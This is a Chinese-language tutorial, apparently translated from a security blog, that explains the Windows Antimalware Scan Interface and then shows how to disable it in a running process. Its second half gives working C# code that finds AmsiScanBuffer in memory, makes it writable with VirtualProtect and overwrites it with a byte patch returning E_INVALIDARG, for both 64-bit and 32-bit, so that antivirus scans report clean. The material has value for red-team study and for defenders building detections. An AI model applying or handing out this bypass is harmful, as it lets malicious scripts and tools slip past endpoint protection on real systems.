什么是 AMSI?
反恶意软件扫描接口是一组 Windows API,允许任何应用程序与防病毒产品集成(假设该产品充当 AMSI 提供者)。与许多第三方 AV 解决方案一样,Windows Defender 自然地充当 AMSI 提供商。
简而言之,AMSI 充当应用程序和 AV 引擎之间的桥梁。以 PowerShell 为例——当用户尝试执行任何代码时,PowerShell 会在执行前将其提交给 AMSI。如果 AV 引擎认为其内容是恶意的,AMSI 将报告该内容并且 PowerShell 不会运行代码。对于在内存中运行且从未接触过磁盘的基于脚本的恶意软件来说,这是一个很好的解决方案。
任何应用程序开发人员都可以使用 AMSI 扫描用户提供的输入。
amsi.dll
对于向AMSI提交样本的应用程序,它必须将amsi.dll加载到其地址空间并调用从该 DLL 导出的一系列 AMSI API。我们可以使用APIMonitor 之类的工具来钩住 PowerShell 并监控它调用了哪些 API。按顺序,这些通常是:
- AmsiInitialize – 初始化AMSI API。
- AmsiOpenSession – 用于关联多个扫描请求。
- AmsiScanBuffer – 扫描用户输入。
- AmsiCloseSession – 关闭会话。
- AmsiUninitialize – 删除AMSI API 实例。
我们可以使用一些方便的 P/Invoke 在 C# 中复制它。
代码语言:javascript复制using System;
using System.Runtime.InteropServices;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
}
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);
enum AMSI_RESULT
{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
}
}
}
我们所要做的就是初始化 AMSI,打开一个新会话并向其发送样本。
代码语言:javascript复制// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);
// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:ToolsRubeusRubeusbinDebugRubeus.exe");
// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);
// Print result
Console.WriteLine(amsiResult);
这给了我们结果AMSI_RESULT_DETECTED。
内存修补
Process Hacker等工具将显示amsi.dll确实在AMSI初始化后加载到进程中。要覆盖内存中的函数,例如AmsiScanBuffer,我们需要获取它在内存中的位置。
我们可以通过首先使用 .NET System.Diagnostics类查找 amsi.dll 的基地址,然后调用GetProcAddress API 来实现这一点。
代码语言:javascript复制var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName == "amsi.dll")
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
就我而言, AmsiScanBuffer 位于0x00007ffe26aa35e0。通过查看与 amsi.dll 关联的内存地址,您可以确认它位于模块的主RX区域内。
要覆盖该区域中的指令,我们需要使用VirtualProtect使其可写。
代码语言:javascript复制var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);
// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);
// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);
然后,您将在该内存区域中看到一大堆 A,并且允许应用程序调用 AmsiScanBuffer 将导致进程崩溃(因为显然 A 不是有效指令)。
我们可以在这里放置无数的指令。总体思路是改变行为以防止 AmsiScanBuffer 返回正结果。
使用IDA等工具分析 DLL可以提供一些想法。
AmsiScanBuffer 所做的一件事是检查提供给它的参数。如果它发现一个无效的参数,它会分支到loc_1800036B5。在这里,它将0x80070057移动到eax 中,绕过进行实际扫描并返回的分支。
80070057是一个HRESULT返回代码为E_INVALIDARG。
我们可以通过覆盖 AmsiScanBuffer 的开头来复制这种行为:
代码语言:javascript复制mov eax, 0x80070057
ret
defuse.ca有一个有用的工具可以将程序集转换为十六进制和字节数组。
而不是var 垃圾:
代码语言:javascript复制var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
这将导致AmsiScanBuffer的返回代码为E_INVALIDARG,但实际扫描结果是0 -通常被解释为AMSI_RESULT_CLEAN。
似乎没有任何应用程序实际检查返回码是否不是S_OK,并且只要扫描结果本身不等于或大于 32768 就会继续加载内容——这肯定是PowerShell 和 .NET 的案例。
以上适用于 64 位,但 32 位所需的程序集由于堆栈上返回数据的方式而略有不同。
代码语言:javascript复制mov eax, 0x80070057
ret 0x18